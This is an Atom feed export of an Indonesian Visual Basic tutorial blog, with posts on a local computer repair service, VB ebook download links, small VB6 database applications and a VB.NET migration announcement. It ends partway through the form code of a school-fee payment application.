<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7872901297791207431</id><updated>2012-01-30T15:54:04.616+07:00</updated><title type='text'>VB Thok</title><subtitle type='html'>Belajar Visual Basic Online</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>60</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-2159013211411357810</id><published>2011-09-30T21:27:00.002+07:00</published><updated>2011-09-30T21:30:25.046+07:00</updated><title type='text'>Jasa servis komputer panggilan di malang</title><content type='html'>Apakah anda seorang yang super sibuk atau anda orang yang tidak suka ribet dan repot ketika komputer anda sedang mengalami masalah?? atau apakah anda ingin meng-upgrade/membeli perangkat komputer baru??&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Toko Komputer Online :&lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(51, 102, 255);" href="www.malangshop.cu.cc"&gt;www.malangshop.cu.cc&lt;/a&gt;&lt;br /&gt;Beli komputer tinggal pilih, pesan, bayar barang langsung dikirim tanpa harus repot dan ribet.&lt;br /&gt;Dijamin aman dan terpercaya&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Service Panggilan :&lt;/span&gt;&lt;br /&gt;Hub spesialis servis komputer panggilan untuk wilayah malang, instal ulang, basmi virus, backup, maintenance, perbaikan, perakitan, windows error, instal laptop, netbook, instalasi jaringan, wireless, hotspot,dll (kecuali printer)&lt;br /&gt;KHUSUS AREA MALANG (JATIM)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Freelance Computer&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;0857-55557767&lt;/span&gt;&lt;br /&gt;&lt;a href="http://freelance-computer.blogspot.com/"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;http://freelance-computer.blogspot.com/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.malangshop.cu.cc"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;http://www.malangshop.cu.cc&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-2159013211411357810?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/2159013211411357810/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=2159013211411357810' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/2159013211411357810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/2159013211411357810'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2011/09/jasa-servis-komputer-panggilan-di.html' title='Jasa servis komputer panggilan di malang'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-4450229004300149113</id><published>2011-02-04T15:37:00.003+07:00</published><updated>2011-02-04T16:04:25.240+07:00</updated><title type='text'>Buku VB Keren Abiss...</title><content type='html'>Bebas ijin Sedot untuk vb mania semua :)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/13672225/101TipTrikVisualBasic6.0.rar.html"&gt;101 Tips &amp;amp; trik Visual Basic&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/13672278/VISUALBASIC6.rar.html"&gt;Teknik Pemrograman Visual Basic&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/13672288/serbaserbi1.pdf.html"&gt;Serba Serbi Aplikasi Visual basic I&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/13672294/serbaserbi2.pdf.html"&gt;Serba Serbi Aplikasi Visual basic II&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Semoga bermanfaat bagi para vb mania di seluruh negeri ini,., :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-4450229004300149113?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/4450229004300149113/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=4450229004300149113' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/4450229004300149113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/4450229004300149113'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2011/02/buku-vb-keren-abiss.html' title='Buku VB Keren Abiss...'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8660616254313831599</id><published>2011-02-04T14:26:00.003+07:00</published><updated>2011-02-04T14:39:53.784+07:00</updated><title type='text'>Membuat No Faktur otomatis</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_eGS0YABgxQo/TUutAXHp5DI/AAAAAAAAAJI/G2qNujDhkY4/s1600/untitled.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 312px;" src="http://4.bp.blogspot.com/_eGS0YABgxQo/TUutAXHp5DI/AAAAAAAAAJI/G2qNujDhkY4/s400/untitled.JPG" alt="" id="BLOGGER_PHOTO_ID_5569735585891476530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Teman2 newbie berikut ini cara simpel membuat auto number faktur secara otomatis beserta metode pencarian...untuk source code silakan donlot &lt;a href="http://www.ziddu.com/download/13671373/AutomaticNumbering.rar.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8660616254313831599?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8660616254313831599/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8660616254313831599' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8660616254313831599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8660616254313831599'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2011/02/membuat-no-faktur-otomatis.html' title='Membuat No Faktur otomatis'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eGS0YABgxQo/TUutAXHp5DI/AAAAAAAAAJI/G2qNujDhkY4/s72-c/untitled.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-7552441727068153160</id><published>2011-02-03T21:00:00.004+07:00</published><updated>2011-02-04T14:11:44.359+07:00</updated><title type='text'>Membuat aplikasi input data karyawan</title><content type='html'>Wah ternyata masih banyak ya pecinta pemrograman vb yg masih setia,,terutama teman2 newbie semua. Meskipun skrg dah mulai beranjak ke vb.net tp cinta saya kpd vb msh tetep (upss kok jd cinta cinta'an ya) wkwkwk,,,oke disni saya akan berbagi bagaimana membuat program yg bs terhubung dengan lebih dari satu database dalam 1 form, mksudnya??&lt;br /&gt;mungkin teman2 newbie banyak yg bingung bagaimana misalnya akan menyimpan suatu data kedalam database yg berbeda2 dalam 1 tombol simpan,nah disini saya akan memberikan contohnya..plus ada skinXPnya jg,,,&lt;br /&gt;program yg akan saya bahas disini mengenai input data karyawan yg terbagi dalam 2 database&lt;br /&gt;berikut preview gambar dan database nya serta coding lengkapnya...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eGS0YABgxQo/TUq1zP611DI/AAAAAAAAAJA/dTybgwYhO-8/s1600/interface.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 354px;" src="http://2.bp.blogspot.com/_eGS0YABgxQo/TUq1zP611DI/AAAAAAAAAJA/dTybgwYhO-8/s400/interface.JPG" alt="" id="BLOGGER_PHOTO_ID_5569463781248324658" border="0" /&gt;&lt;/a&gt;keterangan :&lt;br /&gt;1. Finger Id : ID otomatis yg diambil dr database yg sudah dibuat jd tidak usah repot buat id manual&lt;br /&gt;2. Database ada 2 yaitu kasir.mdb dan employee.mdb&lt;br /&gt;3. Agar program bs berjalan &amp;amp; tdk error,,app path database kasir pd module hrus diedit &amp;amp; disesuaikan dg letak drive dmana database berada.&lt;br /&gt;4. Untuk source code lengkapnya + exe-nya silakan dicopy &lt;a href="http://www.ziddu.com/download/13671047/karyawan.rar.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-7552441727068153160?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/7552441727068153160/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=7552441727068153160' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7552441727068153160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7552441727068153160'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2011/02/membuat-aplikasi-input-data-karyawan.html' title='Membuat aplikasi input data karyawan'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eGS0YABgxQo/TUq1zP611DI/AAAAAAAAAJA/dTybgwYhO-8/s72-c/interface.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-4528962026474565735</id><published>2010-11-30T16:52:00.009+07:00</published><updated>2010-12-03T08:59:49.290+07:00</updated><title type='text'>Yuukk Migrasi VB6 ke VB.NET..</title><content type='html'>Selamat Bertemu lagi,,Sobat2 newbie developer semuanya..&lt;br /&gt;Kali ini saya akan memulai petualangan saya lagi dengan sobat2 semua dalam ajang bergengsi,,upss kayak lomba aja,,,maksud saya dalam pemrograman yang lebih terorientasi atau dalam bahasa kerennya OOP (Object Oriented Programming) sebuah konsep yang berorientasi pada object..&lt;br /&gt;Mungkin para sobat2 smua sbagian dah tau dan sudah paham pada konsep tersebut.&lt;br /&gt;Nah untuk pembahasan artikel2 kedepannya saya akan mencoba untuk membahas VB.net mulai dari 0 biar sobat2 developer yg masih newbie bs mengikuti dg baik,,,untuk yg dah berpengalaman bs kasih masukan...karena disini kita akan berbagi ilmu..OK&lt;br /&gt;&lt;br /&gt;Salam Vb.net,,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Author&lt;br /&gt;Tony Lee&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-4528962026474565735?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/4528962026474565735/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=4528962026474565735' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/4528962026474565735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/4528962026474565735'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2010/11/yuukk-migrasi-visual-basic-6-ke-visual.html' title='Yuukk Migrasi VB6 ke VB.NET..'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-3411863945967458763</id><published>2009-04-28T06:46:00.007+07:00</published><updated>2009-04-30T20:29:14.944+07:00</updated><title type='text'>Membuat aplikasi administrasi pembayaran spp sekolah</title><content type='html'>Untuk kali ini penulis akan mengajak vbthok mania untuk mencoba membuat program jadi "aplikasi pembayaran spp" yang berfungsi untuk menangani dan mencatat transaksi pembayaran spp pada sekolah, program ini juga menyediakan report yang berfungsi untuk membuat laporan transaksi yang sudah terjadi.Semoga dengan program ini para vbthok mania bisa mengaplikasikannya dan mengembangkan tentunya menjadi yang lebih bagus dan lengkap.&lt;br /&gt;Berikut tampilan menu yang sudah jadi.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_eGS0YABgxQo/SfmiOeyL_sI/AAAAAAAAAIY/iljmTl8LsUY/s1600-h/skul.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 352px;" src="http://4.bp.blogspot.com/_eGS0YABgxQo/SfmiOeyL_sI/AAAAAAAAAIY/iljmTl8LsUY/s400/skul.bmp" alt="" id="BLOGGER_PHOTO_ID_5330470003635125954" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eGS0YABgxQo/SfmisVBedhI/AAAAAAAAAIg/SLLxcudLNu8/s1600-h/trans_jual.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 255px;" src="http://3.bp.blogspot.com/_eGS0YABgxQo/SfmisVBedhI/AAAAAAAAAIg/SLLxcudLNu8/s400/trans_jual.JPG" alt="" id="BLOGGER_PHOTO_ID_5330470516410971666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;untuk component yang dibutuhkan adalah :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eGS0YABgxQo/SfmjP2l-j3I/AAAAAAAAAIo/Cjgzyfu5PyA/s1600-h/preferen.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 326px;" src="http://1.bp.blogspot.com/_eGS0YABgxQo/SfmjP2l-j3I/AAAAAAAAAIo/Cjgzyfu5PyA/s400/preferen.JPG" alt="" id="BLOGGER_PHOTO_ID_5330471126717861746" border="0" /&gt;&lt;/a&gt;untuk yang missing activeskin 4.3 coba untuk melakukan install programnya activeskin kalau sudah cb jalankan lagi, tambahkan juga componen crystal report.&lt;br /&gt;&lt;br /&gt;Untuk script codenya bisa dicontoh seperti dibawah ini&lt;br /&gt;'code form1&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;formSiswa.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;   Label1.ForeColor = QBColor(Rnd * 15)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)&lt;br /&gt;  Select Case Button.Key&lt;br /&gt;  Case "siswa"&lt;br /&gt;     formSiswa.Show 1&lt;br /&gt;  Case "guru"&lt;br /&gt;     formGuru.Show&lt;br /&gt;  Case "transaksi"&lt;br /&gt;     frmspp.Show&lt;br /&gt;  Case "laporan"&lt;br /&gt;     frmcetakspp.Show&lt;br /&gt;  Case "keluar"&lt;br /&gt;     End&lt;br /&gt;  End Select&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'code form guru&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;CrystalReport1.WindowState = crptMaximized&lt;br /&gt;CrystalReport1.RetrieveDataFiles&lt;br /&gt;CrystalReport1.Action = 1&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;  Data1.DatabaseName = App.Path &amp;amp; "\spp.mdb"&lt;br /&gt;  Data1.RecordSource = "guru"&lt;br /&gt;  CrystalReport1.ReportFileName = App.Path &amp;amp; "\lapguru.rpt"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub optlaki_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;txtTTL.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub optper_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;txtTTL.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtalamat_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;optlaki.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtcarikode_KeyPress(KeyAscii As Integer)&lt;br /&gt;KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtjab_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;txtmengajar.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtnama_KeyPress(KeyAscii As Integer)&lt;br /&gt;KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;txtalamat.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtnip_Change()&lt;br /&gt;    Dim X As Byte&lt;br /&gt;    If Len(txtnip.Text) &lt; 11 Then&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;    txtnama.SetFocus&lt;br /&gt;    cmdsimpan.Enabled = True&lt;br /&gt;    Data1.Recordset.Index = "idx_nip"&lt;br /&gt;    Data1.Recordset.Seek "=", txtnip.Text&lt;br /&gt;    If Not Data1.Recordset.NoMatch Then&lt;br /&gt;        cmdupdate.Enabled = True&lt;br /&gt;        cmdsimpan.Enabled = False&lt;br /&gt;        tampil&lt;br /&gt;        Exit Sub&lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtnip_KeyPress(KeyAscii As Integer)&lt;br /&gt;KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtnip_LostFocus()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub DBGrid1_DblClick()&lt;br /&gt;  txtnip.Text = DBGrid1.Text&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Function bersih()&lt;br /&gt;    txtnip.Text = ""&lt;br /&gt;    txtnama.Text = ""&lt;br /&gt;    txtalamat.Text = ""&lt;br /&gt;    txtTTL.Text = ""&lt;br /&gt;    txtjab.Text = ""&lt;br /&gt;    txtmengajar.Text = ""&lt;br /&gt;    optlaki.Value = False&lt;br /&gt;    optper.Value = False&lt;br /&gt; End Function&lt;br /&gt;&lt;br /&gt;Private Sub cmdbatal_Click()&lt;br /&gt;    bersih&lt;br /&gt;    cmdsimpan.Enabled = False&lt;br /&gt;    cmdupdate.Enabled = False&lt;br /&gt;    txtnip.Enabled = True&lt;br /&gt;      txtnip.SetFocus&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Function tampil()&lt;br /&gt;    txtnip.Enabled = False&lt;br /&gt;    txtnama.Text = Data1.Recordset!Nama&lt;br /&gt;    txtalamat.Text = Data1.Recordset!alamat&lt;br /&gt;    If Data1.Recordset!jk = "L" Then&lt;br /&gt;        optlaki.Value = True&lt;br /&gt;        Else&lt;br /&gt;        optper.Value = True&lt;br /&gt;        End If&lt;br /&gt;    txtTTL.Text = Data1.Recordset!ttl&lt;br /&gt;    txtjab.Text = Data1.Recordset!jabatan&lt;br /&gt;    txtmengajar.Text = Data1.Recordset!mengajar&lt;br /&gt;    cmdsimpan.Enabled = False&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Sub cmdclose_Click()&lt;br /&gt;    formGuru.Hide&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdhapus_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;    X = MsgBox("Data akan dihapus ? ", vbOKCancel, "PERHATIAN")&lt;br /&gt;    If X = vbOK Then&lt;br /&gt;        Data1.Recordset.Delete&lt;br /&gt;        bersih&lt;br /&gt;    End If&lt;br /&gt;    End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdsimpan_Click()&lt;br /&gt;    If txtnip.Text = "" Or txtnama.Text = "" Or txtalamat.Text = "" _&lt;br /&gt;       Or txtTTL.Text = "" Or txtjab.Text = "" Or txtmengajar.Text = "" _&lt;br /&gt;       Or (optlaki.Value = False And optper.Value = False) Then&lt;br /&gt;        MsgBox "Entry Data isn't complite..!!"&lt;br /&gt;        bersih&lt;br /&gt;        Exit Sub&lt;br /&gt;    Else&lt;br /&gt;    Data1.Recordset.AddNew&lt;br /&gt;    Data1.Recordset!nip = txtnip.Text&lt;br /&gt;    Data1.Recordset!Nama = txtnama.Text&lt;br /&gt;    Data1.Recordset!alamat = txtalamat&lt;br /&gt;    If optlaki.Value = True Then&lt;br /&gt;        Data1.Recordset!jk = "L"&lt;br /&gt;        Else&lt;br /&gt;        Data1.Recordset!jk = "P"&lt;br /&gt;    End If&lt;br /&gt;    Data1.Recordset!ttl = txtTTL.Text&lt;br /&gt;    Data1.Recordset!jabatan = txtjab.Text&lt;br /&gt;    Data1.Recordset!mengajar = txtmengajar.Text&lt;br /&gt;    Data1.Recordset.Update&lt;br /&gt;    bersih&lt;br /&gt;    cmdsimpan.Enabled = False&lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdupdate_Click()&lt;br /&gt;    Data1.Recordset.Edit&lt;br /&gt;    Data1.Recordset!Nama = txtnama.Text&lt;br /&gt;    Data1.Recordset!alamat = txtalamat.Text&lt;br /&gt;    If optlaki.Value = True Then&lt;br /&gt;    Data1.Recordset!jk = "L"&lt;br /&gt;    Else&lt;br /&gt;      Data1.Recordset!jk = "P"&lt;br /&gt;      End If&lt;br /&gt;    Data1.Recordset!ttl = txtTTL.Text&lt;br /&gt;    Data1.Recordset!jabatan = txtjab.Text&lt;br /&gt;    Data1.Recordset!mengajar = txtmengajar.Text&lt;br /&gt;    Data1.Recordset.Update&lt;br /&gt;    bersih&lt;br /&gt;    cmdupdate.Enabled = False&lt;br /&gt;    cmdsimpan.Enabled = True&lt;br /&gt;    txtnip.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Activate()&lt;br /&gt;    bersih&lt;br /&gt;    txtnip.SetFocus&lt;br /&gt;    cmdsimpan.Enabled = False&lt;br /&gt;    End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtcarinama_Change()&lt;br /&gt;    Data1.Recordset.Index = "idx_nama"&lt;br /&gt;    Data1.Recordset.Seek "&lt;=", Trim(txtcarinama.Text) &amp;amp; "zzz"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtcarikode_Change()&lt;br /&gt;    Data1.Recordset.Index = "idx_nip"&lt;br /&gt;    Data1.Recordset.Seek "&lt;=", Trim(txtcarikode.Text) &amp;amp; "zzz"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub txtTTL_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;txtjab.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'code formguru&lt;br /&gt;&lt;br /&gt;Private Sub cmbAgama_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;txtTelepon.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmbKelas_KeyPress(KeyAscii As Integer)&lt;br /&gt;If KeyAscii = 13 Then&lt;br /&gt;mskTgl.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;CrystalReport1.WindowState = crptMaximized&lt;br /&gt;CrystalReport1.RetrieveDataFiles&lt;br /&gt;CrystalReport1.Action = 1&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Dim tang As String&lt;br /&gt;  Data1.DatabaseName = App.Path &amp;amp; "\spp.mdb"&lt;br /&gt;  Data1.RecordSource = "siswa"&lt;br /&gt;  mskTgl.Text = Format(Date, "dd/mm/yyyy")&lt;br /&gt;  CrystalReport1.ReportFileName = App.Path &amp;amp; "\lapsis.rpt"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Function bersih()&lt;br /&gt;    txtnis.Text = ""&lt;br /&gt;    txtNama.Text = ""&lt;br /&gt;    txtAlamat.Text = ""&lt;br /&gt;    txtTgllahir.Text = ""&lt;br /&gt;    cmbAgama.Text = ""&lt;br /&gt;    txtTelepon.Text = ""&lt;br /&gt;    cmbKelas.Text = ""&lt;br /&gt;    mskTgl.Mask = ""&lt;br /&gt;    txtspp.Text = ""&lt;br /&gt;    opt1.Value = False&lt;br /&gt;    opt2.Value = False&lt;br /&gt;    cmdsimpan.Enabled = False&lt;br /&gt;    End Function&lt;br /&gt;&lt;br /&gt;Private Sub DBGrid1_DblClick()&lt;br /&gt;   txtnis.Text = DBGrid1.Text&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Function tampil()&lt;br /&gt;    On Error Resume Next&lt;br /&gt;    txtnis.Enabled = False&lt;br /&gt;    txtNama.Text = Data1.Recordset!Nama&lt;br /&gt;    txtAlamat.Text = Data1.Recordset!alamat&lt;br /&gt;    txtTelepon.Text = Data1.Recordset!telepon&lt;br /&gt;    txtTgllahir.Text = Data1.Recordset!ttl&lt;br /&gt;    cmbAgama.Text = Data1.Recordset!agama&lt;br /&gt;    mskTgl.Text = Data1.Recordset!thnmsk&lt;br /&gt;    If Data1.Recordset!jk = "L" Then&lt;br /&gt;        opt1.Value = True&lt;br /&gt;        Else&lt;br /&gt;        opt2.Value = True&lt;br /&gt;        End If&lt;br /&gt;    txtspp.Text = Format(Data1.Recordset!spp, "#,#,0")&lt;br /&gt;    cmbKelas.Text = Data1.Recordset!kelas&lt;br /&gt;    cmdsimpan.Enabled = False&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Sub cmdbatal_Click()&lt;br /&gt;    txtspp.Text = ""&lt;br /&gt;    bersih&lt;br /&gt;    cmdupdate.Enabled = False&lt;br /&gt;    txtnis.Enabled = True&lt;br /&gt;    txtnis.Text = ""&lt;br /&gt;    txtnis.SetFocus&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdclose_Click()&lt;br /&gt;    formSiswa.Hide&lt;br /&gt;'    frmMenu.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdhapus_Click()&lt;br /&gt;On Error Resume Next&lt;br /&gt;    s = MsgBox("Data akan dihapus ?", vbOKCancel, "PERHATIAN")&lt;br /&gt;    If s = vbOK Then&lt;br /&gt;        Data1.Recordset.Delete&lt;br /&gt;    End 